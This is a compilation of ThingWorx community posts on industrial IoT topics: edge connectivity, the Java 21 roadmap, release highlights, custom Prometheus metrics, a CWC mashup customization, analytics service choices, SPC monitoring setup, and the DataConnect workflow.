scripting Connecting gateway router to ThingWorx Configure settings AlwaysOn™   The ThingWorx Edge MicroServer is a binary executable available for Windows and Linux running on either ARM or x86 processors. The EMS establishes an AlwaysOn, bi-directional connection to a destination ThingWorx platform when it is started. The EMS is configured by editing a json text file to specify the target platform and credentials. The EMS uses the always on connection to provide a local HTTP server that is a reflection of the platform REST API. This local copy of the platform API allows devices that are not capable of making encrypted connections across the open internet to securely interact with the platform. The EMS package also includes the Lua Script Resource application. This application extends the ThingWorx Foundation server by connecting through the EMS HTTP server and provides a Lua interpreter that can be used to connect local resources to the ThingWorx server.   Learn more about the ThingWorx Edge MicroServer:   Connect a Raspberry Pi to ThingWorx using the Edge MicroServer Edge MicroServer Documentation   Step 2: Next Steps   Congratulations! You've successfully completed the Choose a Connectivity Method guide.   At this point, you can make an educated decision regarding which connection methods are best suited for your application and infrastructure.   The next guide in the Connect and Configure Industrial Devices and Systems learning path is Use REST API to Access ThingWorx   Learn More   We recommend the following resources to continue your learning experience:   Capability Guide Connect ThingWorx Application Development Reference Build Get Started with ThingWorx for IoT Experience Create Your Application UI   Additional Resources   If you have questions, issues, or need additional information, refer to:   Resource Link Community Developer Community Forum Support ThingWorx Connectors Help Center

In the evolving landscape of software development, ensuring support for the latest, most secure versions of programming languages is essential. At PTC, we continuously evaluate our technology stack, and Java is no exception. As part of our ongoing commitment to providing secure and high-performing products, we’re announcing some important updates to the Java support plans for ThingWorx.   Current Java Support in ThingWorx (Through Version v9.1.X - v9.6.X)   As of ThingWorx v9.6, Java 11 is the only supported version. This version has been a mainstay of our IoT platform, ensuring stability and performance across various use cases. However, Java 11 entered Extended Support in September 2023, meaning its standard support phase has ended. While this version will continue to receive security updates for a while, its lifecycle is winding down.   Introducing Java 21 Support in ThingWorx v9.7 (Planned Release: December 2024)   With ThingWorx 9.7, releasing in December 2024, we will introduce support for Java 21, the next Long-Term Support (LTS) version of Java. This upgrade brings key benefits, including improved performance, enhanced garbage collection, and increased security, ensuring that ThingWorx remains optimized for enterprise-scale IoT deployments. (More details: The Arrival Of JAVA 21) Given the diversity of our customer base, we know that some are still using Java 11, while others are ready to move to Java 21. ThingWorx 9.7 will support both versions, allowing customers the flexibility to upgrade to the latest ThingWorx version while preparing their environments for Java 21.   The Road to Java 21-Only: What to Expect in ThingWorx v10.0 (Planned Release: June 2025)   As we assess the adoption of Java 21 following the ThingWorx 9.7 release, our goal is to phase out support for Java 11 with ThingWorx 10.0, scheduled for release in June 2025. Starting with ThingWorx 10, Java 21 will be the only supported version, marking the end of Java 11 support for the core platform.   This is driven by the need to stay aligned with modern standards and best practices, including support for third-party technologies such as Tomcat v10 and Spring Framework v6, which require latest Java versions. These updates will ensure that ThingWorx continues to benefit from the latest advancements in the Java ecosystem. Next steps for ThingWorx users   As we approach the release of ThingWorx 9.7, we encourage customers to begin planning for the move to Java 21. While ThingWorx 9.7 will support both Java 11 and Java 21, we recommend upgrading to Java 21 to take full advantage of the enhancements it offers. For more detailed information on overall third party support, do check Release Advisor Vineet Khokhar Principal Product Manager, IoT Security   Stay tuned for more updates as we approach the release of ThingWorx v9.7, and as always, in case of issues, feel free to reach out to <support.ptc.com>  This post on ThingWorxTM status & roadmap is a preliminary version and not subject to your license agreement or any other agreement with ThingWorx. This post contains intended strategies, developments, and functionalities of the ThingWorxTM product. The information is furnished for information use only and is not intended to be binding upon ThingWorx to any particular course of business, product strategy, and/or development. Please note that this document is subject to change and may be changed by ThingWorx at any time without notice; accordingly, you should not rely on this data for production or purchasing decisions. ThingWorx assumes no responsibility for errors or omissions in this document.

Greetings, Community Members! PTC has launched ThingWorx 9.6.0 as of June, and it's now ready for your upgrade! Let's explore the key enhancements in this latest version of ThingWorx.   What are the top three areas of updates in ThingWorx 9.6?   Performance, Scalability, Reliability, and Security: There's a significant boost in file transfer performance between connected devices and the ThingWorx platform. A notable enhancement in server startup performance, with some instances showing an 84% reduction in startup time. Numerous logging improvements, including limitations on log verbosity, log filtration, and configurable log storage capabilities, contribute to the stabilization of the ThingWorx system. Additionally, ThingWorx now supports log extraction to third-party software like Sumologic, Datadog, Splunk, Grafana, etc., utilizing the industry-standard OpenTelemetry framework starting from TWX 9.6. Content Security Policy has been implemented, fortifying ThingWorx against script and data injection attacks, man-in-the-middle (MITM) attacks, and clickjacking. Several tech stack updates in 9.6; support now available for Azure B2C and TLS 1.3 (limited)   Developer Productivity: Introducing a new Collection widget with improved performance, enabling a transition away from the legacy Collection and Repeater widgets. Several other new widgets such as KPI dial widget, Tree selector widget, Progress Tracker widget and other critical enhancements for ThingWorx WebComponents are now available Support for viewing mashup configurations such as layouts, bindings, and widget properties in a read-only mode, helping improve user experience by allowing multiple users to review mashup designs simultaneously without making edits.   Solutions updates: Streamlined continuous improvement with the ability to View and Create Actions in One-Click from performance analysis screens for the Digital Performance Management (DPM) solution. Enhanced performance for the Asset Monitoring & Utilization (AMU) solution, with alarm events creation now handled asynchronously. Several fixes and improvements for Connected Work Cell (CWC), Real-Time Production Performance Monitoring (RTPPM), and DPM such as limits evaluation, messages not displayed, incorrectly calculated KPIs and issues with Running Time on the operator display and more, helping customers achieve continuous improvements in their manufacturing operations   View release notes here and be sure to upgrade to 9.6!   Dilanur Bayraktar ThingWorx Product Management

The natively exposed ThingWorx Platform performance metrics can be extremely valuable to understanding overall platform performance and certain of the core subsystem operations, however as a development platform this doesn't give any visibility into what your built solution is or is not doing.   Here is an amazing little trick that you can use to embed custom performance metrics into your application so that they show up automatically in your Prometheus monitoring system. What you do with these metrics is up to your creativity (with some constraints of course). Imaging a request counter for specific services which may be incredibly important or costly to run, or an exception metric that is incremented each time you catch an exception, or a query result size metric that informs you of how much data is being queried from the database.   Refer to Resources > MetricsServices: GetCounterMetric GetGaugeMetric IncrementCounterMetric DecrementCounterMetric SetGaugeMetric You'll need to give your metric a name - identified by key - and this is meant to be dotted notation* which will then be converted to underscores when the metric is exposed on the OpenMetrics endpoint.  Use sections/domains in the dotted notation to structure your metrics in-line with your application design.   COUNTER type metrics are the most commonly used and relate to things happening through time.  They are an index which will get timestamped as they're collected by Prometheus so that you will be able to look back in time and analyse and investigate what happened when and what the scale or impact was.  After the fact functions and queries will need to be applied to make these metrics most useful (delta over time, increase, rate per second).   Common examples of counter type metrics are: requests, executions, bytes transferred, rows queried, seconds elapsed, execution time.     Resources["MetricServices"].IncrementCounterMetric({ basetype: "LONG", value: 1, key: "__PTC_Reported.integration.mes.requests", aggregate: false });     GAUGE type metrics are point-in-time status of some thing being measured.   Common gauge type metrics are: CPU load/utilization, memory utilization, free disk space, used disk space, busy/active threads.     Resources["MetricServices"].SetGaugeMetric({ basetype: "NUMBER", value: 12, key: "__PTC_Reported.Users.ConnectedOperatorCount", aggregate: true });     Be aware of the aggregate flag, as it will make this custom metric cluster level which can have some unintended consequences.  Normally you always want performance metrics for the specific node as you then see what work is happening where and can confirm that it is being properly distributed within the cluster.  There are some situations however where you might want the cluster aggregation however, like with this concurrently connected operators.   Happy Monitoring!  

Check out this new framework to achieving digital manufacturing success. Learn about the top 3 areas teams need to consider!    Identify a unified end goal Align it with the most impactful use cases Formulate a lasting strategy that resonates their long-term vision Discover More! 

Tune in to The Lean Manufacturer podcast where expert guests bring their outside view of the IIoT and discuss various aspects of manufacturing. Over the course of the series, we’ll cover some of the most important ways the IIoT can maximize manufacturing efficiency and bring value to your organization, including the need for reducing planned and unplanned downtime, enabling operational efficiency, ensuring digital continuous improvement, and so much more.      

Are you ready for #WorldIoTDay?

PTC was recognized an outright leader in the global IoT market.

Note: The following tutorial are based on a Thingworx/CWC 9.5. Steps and names may differ in another version. Context As a human reaction, the tracked time displayed may be misperceived by the Operator. It can lead to a reject of the solution. CWC doesn’t have (yet?) the capability to configure the visibility to hide the timer. The purpose of this tutorial is to create a quick and straight to the point customization to hide the timer in the execution screen. All other features, services and interfaces are left untouched.   As a big picture, here are the 6 modifications you will need to do: Modify the 4 mashups Modify 2 values in 2 tables of the MSSQL database   Status The mashup containing the timer is PTC.FSU.CWC.Execution.Overview_MU. It is easy to duplicate it and hide the timer widget (switch the visible property to false). But now, how to set it in the standard interface? In order to do it, you need to duplicate the mashups linked to the Execution.Overview_MU mashup. PTC.FSU.CWC.Execution.Overview_MU is directly referenced by the following entities: PTC.FSU.CWC.Authoring.Preview_MU PTC.FSU.CWC.Execution.WorkInstructionStart_MU PTC.FSU.CWC.GIobalUI.ApplicationSpecificHeader_HD PTC.FSU.CWC.WorkDefinitionExecution.StationSelectionContainer_EP   Customization Duplicate all those mashups except Authoring.Preview_MU because we will focus only on the authoring side of CWC. Hereafter it will be called the same as the original + _DUPLICATE. Perform the following modifications.   Open PTC.FSU.CWC.GlobalUI.ApplicationSpecificHeader_HD_DUPLICATE, then in Functions: open the expression named NavigateToStationSelection. Change the name of the mashup to the relevant one, example: PTC.FSU.CWC.WorkDefinitionExecution.StationSelectionContainer_EP_DUPLICATE open the validator named ShowRaiseHand. Change the name of the 2 mashups to the relevant ones, example: PTC.FSU.CWC.Execution.WorkInstructionStart_MU_DUPLICATE and PTC.FSU.CWC.Execution.Overview_MU_DUPLICATE open the validator named ShowStationSelection. Change the name of the 2 mashups to the relevant ones, example: PTC.FSU.CWC.Execution.WorkInstructionStart_MU_DUPLICATE   Open PTC.FSU.CWC.Execution.Overview_DUPLICATE, then in Functions: open the expression named SetMashupToWorkInstructionStart. Change the name of the mashup to the relevant one, example: PTC.FSU.CWC.Execution.WorkInstructionStart_MU_DUPLICATE open the expression named SetMashupToStationSelection. Change the name of the mashup to the relevant one, example: PTC.FSU.CWC.WorkDefinitionExecution.StationSelectionContainer_EP_DUPLICATE   Open PTC.FSU.CWC.Execution.WorkInstructionStart_MU_DUPLICATE, then in Functions: open the expression named NavigateToStart. Change the name of the mashup to the relevant one, example: PTC.FSU.CWC.Execution.Overview_MU_DUPLICATE open the expression named NavigateToStationSelection. Change the name of the mashup to the relevant one, example: PTC.FSU.CWC.WorkDefinitionExecution.StationSelectionContainer_EP_DUPLICATE   Open PTC.FSU.CWC.WorkDefinitionExecution.StationSelectionContainer_EP_DUPLICATE, in functions: open the expression named NavigateToStart. Change the name of the mashup to the relevant one, example: PTC.FSU.CWC.Execution.Overview_MU_DUPLICATE open the expression named NavigateToWorkInstructionStart. Change the name of the mashup to the relevant one, example: PTC.FSU.CWC.Execution.WorkInstructionStart_MU_DUPLICATE   Now, let’s change the database value. In MSSQL, navigate to the thingworxapps database, and edit the dbo.menu table. Look the line for AssemblyExecution (by default line 22) and look the value in column targetmashuplink. Switch the original value PTC.FSU.CWC.WorkDefinitionExecution.StationSelectionContainer_EP to the name of the duplication of this mashup. Lastly, edit the dbo.menucontext table. Look the line related to CWC (application UID = 5) and look the value in column targetmashuplink. Switch the original value PTC.FSU.CWC.GlobalUI.ApplicationSpecificHeader_HD to the name of the duplication of this mashup.   Result After this modification, you can start and check an operation. You should see the following result:

There have been a number of questions from customers and partners on when they should use different tools for calculation of descriptive analytics within ThingWorx applications. The platform includes two different approaches for the implementation of many common statistical calculations on data for a property: descriptive services and property transforms. Both of these tools are easy to implement and orchestrate as part of a ThingWorx application. However, these tools are targeted for handling different scenarios and also differ in utilization of compute resources. When choosing between these two approaches it is important to consider the specific use case being implemented along with how the implemented approach will fit into the overall design and architecture of the ThingWorx environment. This article will provide some guidance on scenarios to use each of these approaches in ThingWorx applications and things to consider with each approach.   Let's look at the two different approaches and some guidelines for when they should be used.   Descriptive services (click for more details) provide a set of ThingWorx services to analyze a data set and perform many common data transformations.  These services are targeted for performing calculations and transformations on recent operating history of a single property.  Descriptive services are called on demand to perform batch calculations. Scenarios to use descriptive services: On demand calculations performed within a mashup, a service call or an event to determine action and calculation results are not (always) stored Regular occurring calculations on logged property values or generated datasets (batch calculations) Calculations are done regularly in minutes, hours or days on a discrete set of data.  Examples: average value in last hour, median value in last day, or max value in last half hour.  Time between data creation and analysis is minutes or hours.  Some latency in the calculation result is acceptable for the use case. Input data set has 10s to 100s to 1000s of values.  Keep the size of the input data at 10,800 values or less.  If larger data sizes are required, then break them into micro batches if possible or use other tools to handle the processing. Multiple calculations need to be done from the same set of input data.  Examples: average value in last hour, max value in the last hour and standard deviation value in the last hour are all required to be calculated. Things to consider when using descriptive services Requires input dataset to be in the specific datashape format that is used by descriptive services.  If property values are logged in a value stream, there is a service to query the values and prepare the dataset for processing.  If scenarios where the data is not for a logged property, then another service or sql query can be used to prepare the dataset for processing. Requires javascript development work to implement.   This includes creation of a service to execute the descriptive services and usage of subscriptions and events to orchestrate calculations. An example of the javascript to execute descriptive services is available in the help center (here) Typically retrieval of the input data from value stream (QueryTimedValuesForProperty) is slowest part of the process. The input data is sent to an out of process platform analytics service for all calculations. Broader set of calculation services available (see table at the end of this article) Remember that these services are not meant to be used for big data calculations or big data preparation.  Look for other approaches if the input data sets grow larger than 10,800 values Property Transforms (click for more details) provide a set of transformation services for streaming data as it enters ThingWorx.   Property transforms are targeted for performing continuous calculations on recent values in the stream of a single property and delivering results in (near) real-time.  Since property transforms are continuous calculations, they are always running and using compute resources. Before implementing property transforms review the information in the property transform sizing guide to better understand factors that impact the scaling of property transforms. Scenarios to use: Continuous calculations on a stream for a single property as new data comes into ThingWorx New values enter the stream faster than one value per minute (as a general guideline) Calculations required to be done in seconds or minutes.  Examples: average electrical current in last 10 seconds, median pressure in the last 10 readings,  or max torque in last minute Time between data creation and analysis is small (in seconds).  Results of property transform is required for rapid decisions and action so reducing latency is critical Data sets used for calculation are small and contain 10s to 100s of values.  Calculated results are stored in a new property in the ThingModel Things to consider when using property transforms Codeless process to create new property transforms on a single property in the ThingModel Does not require input property values to be logged as calculations are performed on streaming data as it enters ThingWorx Unlike descriptive services which only execute when called, each property transform creates a continuously running job that will always be using compute resources.  Resource allocations for property transforms must be included in the overall system architecture.  Before selecting the property transform approach, refer to the Property Transform Sizing Guide for more information about how different parameters affect the performance of Property Transforms and results of performance load test scenarios. Let’s apply these guidelines to a few different use cases to determine which approach to select. 1. Mashup application that allows users to calculate and view median temperature over a selected time window In this scenario, the calculation will be executed on-demand with a user defined time window. Descriptive services are the only option here since there is not a pre-defined schedule and the user can select which data to use for the calculation.   2. Calculate the max torque (readings arriving one per second) on a press over each minute without storing all of the individual readings. In this scenario, the calculation will be executed without storing the individual readings coming from the machine. The transformation is made to the data on its way into ThingWorx and continuously calculating based on new values. Property transforms are the only option here since the individual values are not being stored.   3. Calculation of average pressure value (readings arriving one per second) over a five minute window to monitor conditions and raise an alert when the median value is more than two standard deviations from expected. In this scenario, both descriptive services and property transforms can perform the calculation required. The calculation is going to occur every 5 minutes and each data set will have about 300 values. The selection of batch (descriptive services) or streaming (property transforms) will likely be determined by the usage of the result. In this case, the calculation result will be used to raise an alert for a specific five minute window which likely will require immediate action. Since the alert needs to be raised as soon as possible, property transforms are the best option (although descriptive services will handle this case also with less compute resource requirements).   4, Calculation of median temperature (readings each 20 seconds) over 48 hour period to use as input to predict error conditions in the next week. In this scenario, the calculation will be performed relatively infrequently (once every 48 hours) over a larger data set (about 8,640 values). Descriptive services are the best option in this case due to the data size and calculation frequency. If property transforms were used, then compute resources would be tied up holding all of the incoming values in memory for an extended period before performing a calculation. With descriptive services, the calculation will only consume resource when needed, or once every 48 hours.   Hopefully this information above provides some more insight and guidelines to help choose between property transforms and descriptive services. The table below provides some additional comparisons between the two approaches.     Descriptive Services Property Transforms Purpose Provide a set of ThingWorx services to analyze a data set and perform many common data transformations. Provide a set of prescribed transformation services for streaming data as it enters ThingWorx. Processing Mode Batch Streaming / Continuous Delivery API / Service Composer interface API / Service Input Data Discrete data set Must be logged Single property Configurable by time or lookback Rolling data set on property X Persistence is optional Single property Configurable by time or lookback Output Data Return object handled programmatically Single output for discrete data set New property f_X in the input model Continuous output at configurable frequency Output time aligned with input data Available Services Statistics (min, max, mean, median, mode, std deviation) SPC calculations (# continuous data points: above threshold, in / out of range, increasing / decreasing, alternating) Data distribution: count by bins (histogram) Five numbers (min, lower quartile, median, upper quartile, max) Confidence interval Sampling frequency Frequency transform (FFT) Statistics (min, max, mean, median, mode, std deviation) SPC calculations (# continuous data points: above threshold, in / out of range, increasing / decreasing, alternating)

    Step 3: Monitor SPC Properties   Once the properties have been configured, you are ready to progress on to SPC monitoring.   This is done by viewing the PTC.SPC.Monitoring_MU Mashup.   NOTE: Once a property has been configured for SPC monitoring, 2-5 minutes must pass before the accelerator has collected enough streaming values to perform SPC calculations. During this time, you may see an item that has 2 OOC rules violated; “Collecting Enough Data to Begin Monitoring” and “… to Compute Capability”.     Within Property SPC Status, click an item from the grid that has 0 in the OOC column. See that the Out of Control Rules area is blank, since there are no currently-violated SCP rules for that selected property. Both CP and CPK are above 1.0, showing that the process is capable. All the points in the charts are blue, as they do not violate any OOC rules. Within Property SPC Status, click an item from the grid that has a nonzero number in the OOC column.   See that the Out of Control Rules area has one or more rules listed that are currently being violated. Here, the rule being violated is Range Out of Control. One or more of the charts may have point(s) that are red. Here, you can see one of the points in the R chart is red, as it is above the Upper Control Limit. In the bottom-left, click Refresh Now.   Note that the datetime value of the date picker in the lower-left indicates the period to which the Mashup has updated. It is possible that Properties that were previously not in violation are now violating OOC rules; the opposite is also possible. Note that not all points that violate an OOC rule will display in red. Here, you can see that the rule 8 Consecutive Points Above Center Line is violated, but the corresponding points in the X-Bar Chart are not red. View the SPC status at a time from the recent past. In the lower-left, click date picker. Choose a datetime of 2-3 minutes in the past. You will see that the date picker reflects the datetime value you selected. All the Widgets in the Mashup are updated to reflect their status at that point in time. Enter continuous monitoring mode. Select any of the eight (8) items from the Property SPC Status area. To the left of the Refresh Now button, click the toggle. This will enable the Mashup to auto-refresh every 30 seconds. In the upper-right corner of the Property SPC Status area, click the gray arrow to expand the monitoring display.   Every 30 seconds, the monitoring display will update to show the most recent status for the item you selected.       Step 4: Next Steps   Congratulations! You’ve successfully completed the Deploy Statistical Process Control guide, and learned how to:   Configure multiple properties for SPC monitoring Identify abnormalities in streaming property values   Learn More   We recommend the following resources to continue your learning experience:    Site              Link Wikipedia Western Electric Rules Wikipedia Process Capability   Additional Resources If you have questions, issues, or need additional information, refer to:    Resource       Link Community Developer Community Forum Support ThingWorx Help Center  

    Configure streaming asset properties for SPC monitoring.   Guide Concept   Note: This guide is intended only as a starting point and is not a fully developed or supported solution. This accelerator has been developed using ThingWorx 8.5 and should not be used with any previous versions of the software.   This project introduces you to configuring Properties from your connected streaming assets for Statistical Process Control (SPC) monitoring.   Following the steps in this guide, you will learn how multiple connected assets and their Properties can be displayed in a hierarchy tree.   You will then configure these Properties using predetermined set points, and upper and lower control points for the assets.   Finally, you will learn to navigate the monitoring of the Properties.   We introduce some of the basic building blocks of an SPC accelerator, including important Things and Mashups. You will also use ThingWorx Timers to simulate streaming data.     You'll learn how to   Configure multiple properties for SPC monitoring Identify abnormalities in streaming property values   NOTE: The estimated time to complete this guide is 30 minutes     Step 1: Import SPC Accelerator   Before exploring Statistical Process Control (SCP) within ThingWorx Foundation, you must first import some Entities via the top-right Import / Export button.   Download and unzip PTC_StatisticalCalculations_PJ.zip and PTC_SPC_PJ.zip. These two files each contain a ThingWorx project of a similar name. Import PTC_StatisticalCalculations_PJ.twx first. Import PTC_SPC_PJ.twx once the other import has completed. Explore the imported entities.   Each of the projects contain multiple entities of various types. The most important entities you will use in this guide are as follows:    Entity Name                                   Description Motor_Pump1 Timer to simulate streaming data Motor_Blower1 Timer to simulate streaming data PTC.SPC.ConfigurationHelper Thing that manages the accelerator PTC.SPC.Configuration_MU Mashup for configuring SPC properties PTC.SPC.Monitoring_MU Mashup for monitoring SPC properties   Step 2: Configure Properties for SPC monitoring   You may configure SPC monitoring for multiple production lines, connected assets on those lines, and time-series Properties on those assets using the SPC accelerator.   This is done by viewing the PTC.SPC.Configuration_MU Mashup.   Follow these steps to configure an SPC Property.   Create a new production line   In the Enter New Production Line Name text field, type Line100. Click Add New Line.   Now you will see the new production line added to the Asset Hierarchy tree along the left. All production lines you’ve created (as well as their assets and the assets’ Properties) will be shown here.   In the lower-right, the SPC Property Configuration area has disappeared because the item selected in the Asset Hierarchy tree is the new line; only assets within lines can have streaming Properties.   Add a streaming asset to Line100   Within the Select Asset Thing entity picker, type Motor_Blower1. Click Add Asset for Line.   This asset has Properties that are streaming into ThingWorx. Multiple assets can be added to the same production line by selecting the line from the Asset Hierarchy tree and following the steps above.   If you select the new asset from the Asset Hierarchy tree, you will see that the list of Properties Eligible for SPC Monitor is shown in the SPC Property Configuration area. All Properties have the same default configuration associated with them.   Configure a property for SPC Monitoring   Below is a brief description of each of the configuration parameters:    Parameter           Description Sample Size Number of consecutive property values to average together. For example, a Sample Size of 5 will tell the accelerator to group every 5 property values together and calculate their average value. XBar Points Number of the most recent sample aggregations to display in the SPC Monitoring Mashup. This also affects SPC calculations. Capability Points Number of the most recent sample aggregations to use when populating the Capability Histogram in the SPC Monitoring Mashup. Set Point Value determined to be the set point for that particular property on the asset. Lower Design Spec Value determined to be the lower design spec for that particular property on the asset. This is used for capability calculations. Upper Design Spec Value determined to be the upper design spec for that particular property on the asset. This is used for capability calculations.   Select Pressure1 from the list of eligible properties. Enter the following values:  Properties                      Values Sample Size 5 Xbar Points 30 Capability Points 60 Set Point 73 Lower Design Spec 68 Uppder Design Spec 78   3, Select Xbar-R Chart. 4. Click Add or Update SPC Monitoring. 5. Pressure1 is added to the Asset Hierarchy tree underneath the Motor_Blower1 asset. 6. If you select this Property, you can modify the configuration and save it by clicking Add or Update SPC Monitoring.   Configure assets and Properties   Follow these steps using the following parameters:                                     Line Asset  Property  Sample Size Xbar Point Capability Points Set Points Lower Design Spec Upper Design Spec Chart Type 100 Motor_Blower1 Pressure1 5 30 60 73 68 78 Xbar-R 100 Motor_Blower1 Pressure2 5 30 60 78 68 89 Xbar-R 100 Motor_Blower1 Temperature1 5 30 60 50 44 56 Xbar-s 100 Motor_Blower1 Temperature2 5 30 60 85 73 97 Xbar-s 100 Motor_Pump1 Vibration10 5 30 60 150 108 190 Xbar-s 100 Motor_Pump1 Vibration11 8 60 100 200 168 220 Xbar-s 100 Motor_Pump1 Pressure100 5 30 60 100 84 118 Xbar-R 100 Motor_Pump1 Pressure200 5 30 60 90 84 97 Xbar-R   As you add assets to Line100 and configure their Properties, you will see the Asset Hierarchy tree grow. If you need to remove an asset or its associated Properties from the Asset Hierarchy tree, you may select that item, and click Remove Selected. For any item you remove, its child-items will also be removed.   Click here to view Part 2 of this guide.

  PLEASE NOTE DataConnect has now been deprecated and no longer in use and supported.   We are regularly asked in the community how to send data from ThingWorx platform to ThingWorx Analytics in order to perform some analytics computation. There are different ways to achieve this and it will depend on the business needs. If the analytics need is about anomaly detection, the best way forward is to use ThingWatcher without the use of ThingWorx Analytics server. The ThingWatcher Help Center is an excellent place to start, and a quick start up program can be found in this blog. If the requirement is to perform a full blown analytics computation, then sending data to ThingWorx Analytics is required. This can be achieved by Using ThingWorx DataConnect, and this is what this blog will cover Using custom implementation. I will be very pleased to get your feedback on your experience in implementing custom solution as this could give some good ideas to others too. In this blog we will use the example of a smart Tractor in ThingWorx where we collect data points on: Speed Distance covered since last tyre change Tyre pressure Amount of gum left on the tyre Tyre size. From an Analytics perspective the gum left on the tyre would be the goal we want to analyse in order to know when the tyre needs changing.   We are going to cover the following: Background Workflow DataConnect configuration ThingWorx Configuration Data Analysis Definition Configuration Data Analysis Definition Execution Demo files   Background For people not familiar with ThingWorx Analytics, it is important to know that ThingWorx Analytics only accepts a single datafile in a .csv format. Each columns of the .csv file represents a feature that may have an impact on the goal to analyse. For example, in the case of the tyre wear, the distance covered, the speed, the pressure and tyre size will be our features. The goal is also included as a column in this .csv file. So any solution sending data to ThingWorx Analytics will need to prepare such a .csv file. DataConnect will perform this activity, in addition to some transformation too.   Workflow   Decide on the properties of the Thing to be collected, that are relevant to the analysis. Create service(s) that collect those properties. Define a Data Analysis Definition (DAD) object in ThingWorx. The DAD uses a Data Shape to define each feature that is to be collected and sends them to ThingWorx Analytics. Part of the collection process requires the use of the services created in point 2. Upon execution, the DAD will create one skinny csv file per feature and send those skinny .csv files to DataConnect. In the case of our example the DAD will create a speed.csv, distance.csv, pressure.csv, gumleft.csv, tyresize.csv and id.csv. DataConnect processes those skinny csv files to create a final single .csv file that contains all these features. During the processing, DataConnect will perform some transformation and synchronisation of the different skinny .csv files. The resulting dataset csv file is sent to ThingWorx Analytics Server where it can then be used as any other dataset file.     DataConnect configuration   As seen in this workflow a ThingWorx server, DataConnect server and a ThingWorx Analytics server will need to be installed and configured. Thankfully, the installation of DataConnect is rather simple and well described in the ThingWorx DataConnect User’s guide. Below I have provided a sample of a working dataconnect.conf file for reference, as this is one place where syntax can cause a problem:   ThingWorx Configuration The platform Subsystem needs to be configured to point to the DataConnect server . This is done under SYSTEM > Subsystems > PlatformSubsystem:     DAD Configuration The most critical part of the process is to properly configure the DAD as this is what will dictate the format and values filled in the skinny csv files for the specific features. The first step is to create a data shape with as many fields as feature(s)/properties collected.   Note that one field must be defined as the primary key. This field is the one that uniquely identifies the Thing (more on this later). We can then create the DAD using this data shape as shown below   For each feature, a datasource needs to be defined to tell the DAD how to collect the values for the skinny csv files. This is where custom services are usually needed. Indeed, the Out Of The Box (OOTB) services, such as QueryNumberPropertyHistory, help to collect logged values but the id returned by those services is continuously incremented. This does not work for the DAD. The id returned by each services needs to be what uniquely identifies the Thing. It needs to be the same for all records for this Thing amongst the different skinny csv files. It is indeed this field that is then used by DataConnect to merge all the skinny files into one master dataset csv file. A custom service can make use of the OOTB services, however it will need to override the id value. For example the below service uses QueryNumberPropertyHistory to retrieve the logged values and timestamp but then overrides the id with the Thing’s name.     The returned values of the service then needs to be mapped in the DAD to indicate which output corresponds to the actual property’s value, the Thing id and the timestamp (if needed). This is done through the Edit Datasource window (by clicking on Add Datasource link or the Datasource itself if already defined in the Define Feature window).   On the left hand side, we define the origin of the datasource. Here we have selected the service GetHistory from the Thing Template smartTractor. On the right hand side, we define the mapping between the service’s output and the skinny .csv file columns. Circled in grey are the output from the service. Circled in green are what define the columns in the .csv file. A skinny csv file will have 1 to 3 columns, as follow: One column for the ID. Simply tick the radio button corresponding to the service output that represents the ID One column representing the value of the Thing property. This is indicated by selecting the link icon on the left hand side in front of the returned data which represent the value (in our example the output data from the service is named value) One column representing the Timestamp. This is only needed when a property is time dependant (for example, time series dataset). On the example the property is Distance, the distance covered by the tyre does depend on the time, however we would not have a timestamp for the TyreSize property as the wheel size will remain the same. How many columns should we have (and therefore how many output should our service has)? The .csv file representing the ID will have one column, and therefore the service collecting the ID returns only one output (Thing name in our smartTractor example – not shown here but is available in the download) Properties that are not time bound will have a csv file with 2 columns, one for the ID and one for the value of the property. Properties that are time bound will have 3 columns: 1 for the ID, one for the value and one for the timestamp. Therefore the service will have 3 outputs.   Additionally the input for the service may need to be configured, by clicking on the icon.   Once the datasources are configured, you should configure the Time Sampling Interval in the General Information tab. This sampling interval will be used by DataConnect to synchronize all the skinny csv files. See the Help Center for a good explanation on this.   DAD Execution Once the above configuration is done, the DAD can be executed to collect properties’ value already logged on the ThingWorx platform. Select Execution Settings in the DAD and enter the time range for property collection:   A dataset with the same name as the DAD is then created in DataConnect as well as in ThingWorx Analytics Server Dataconnect:     ThingWorx Analytics:   The dataset can then be processed as any other dataset inside ThingWorx Analytics.   Demo files   For convenience I have also attached a ThingWorx entities export that can be imported into a ThingWorx platform for you to take a closer look at the setup discussed in this blog. Attached is also a small simulator to populate the properties of the Tractor_1 Thing. The usage is : java -jar TWXTyreSimulatorClient.jar  hostname_or_IP port AppKey For example: java -jar TWXTyreSimulatorClient.jar 192.168.56.106 8080 d82510b7-5538-449c-af13-0bb60e01a129   Again feel free to share your experience in the comments below as they will be very interesting for all of us. Thank you